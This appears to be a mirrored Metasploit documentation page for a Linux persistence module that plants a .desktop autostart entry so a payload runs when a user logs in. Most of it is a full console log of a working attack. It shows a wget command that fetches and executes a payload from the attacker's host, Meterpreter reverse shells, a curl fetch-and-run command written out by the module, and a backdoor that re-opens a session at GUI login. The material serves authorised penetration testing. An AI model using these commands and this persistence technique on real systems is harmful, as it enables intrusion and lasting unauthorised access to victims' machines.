ContextQMD
Back to Metasploit Framework

Autostart

documentation/modules/exploit/linux/persistence/autostart.md

6.4.1314.5 KB
Original Source

Vulnerable Application

This module will create an autostart .desktop entry to execute a payload. The payload will be executed when the users logs in.

Verified on Ubuntu 22.04 desktop with Gnome, and 18.04.3. The following payloads were used in testing:

  • cmd/unix/reverse_netcat
  • linux/x64/meterpreter/reverse_tcp
  • cmd/linux/http/x64/meterpreter/reverse_tcp

Verification Steps

  1. Exploit a box
  2. use exploit/linux/persistence/autostart
  3. set SESSION <id>
  4. exploit

When the victim logs in, your payload will be executed!

Options

BACKDOOR_NAME

Name of autostart entry. Defaults to a randomly generated name

PAYLOAD_NAME

Name of the payload file to write. Defaults to a randomly generated name

USER

User to target, or current user if blank

Scenarios

Ubuntu 18.04.3

Initial access vector via web delivery

[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
lhost => 111.111.1.111
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload python/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set srvport 8181
srvport => 8181
resource (/root/.msf4/msfconsole.rc)> set target 7
target => 7
resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set lport 4545
lport => 4545
resource (/root/.msf4/msfconsole.rc)> set URIPATH l
URIPATH => l
resource (/root/.msf4/msfconsole.rc)> run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...
[*] Started reverse TCP handler on 111.111.1.111:4545 
[*] Using URL: http://111.111.1.111:8181/l
[*] Server started.
[*] Run the following command on the target machine:
wget -qO FWdHRs3A --no-check-certificate http://111.111.1.111:8181/l; chmod +x FWdHRs3A; ./FWdHRs3A& disown
[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > [*] 222.222.2.222    web_delivery - Delivering Payload (250 bytes)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.222
[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:57884) at 2025-02-06 17:03:03 -0500
[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...
(Meterpreter 1)(/tmp) > sysinfo
Computer     : ubuntu18desktop.local
OS           : Ubuntu 18.04 (Linux 5.4.0-150-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
(Meterpreter 1)(/tmp) > background
[*] Backgrounding session 1...

Persistence

[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/autostart 
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
[msf](Jobs:1 Agents:1) exploit(linux/persistence/autostart) > set session 1
session => 1
[msf](Jobs:1 Agents:1) exploit(linux/persistence/autostart) > exploit
[*] Command to run on remote host: curl -so ./xcsqfBQnCfcm http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./xcsqfBQnCfcm;./xcsqfBQnCfcm&
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[msf](Jobs:2 Agents:1) exploit(linux/persistence/autostart) > 
[*] Fetch handler listening on 111.111.1.111:8080
[*] HTTP server started
[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
[*] Started reverse TCP handler on 111.111.1.111:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[!] The service is running, but could not be validated. Xorg is installed, possible desktop install.
[!] Payloads in /tmp will only last until reboot, you may want to choose elsewhere.
[*] Making sure the autostart directory exists
[*] Uploading autostart file /home/ubuntu/.config/autostart/bHOXeW.desktop
[+] Backdoor will run on next login by ubuntu
[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250206.0326/ubuntu18desktop.local_20250206.0326.rc
[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg

Login via gui

[*] Sending payload to 222.222.2.222 (curl/7.58.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 222.222.2.222
[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:44316) at 2025-02-06 17:03:50 -0500
[msf](Jobs:2 Agents:2) exploit(linux/persistence/autostart) >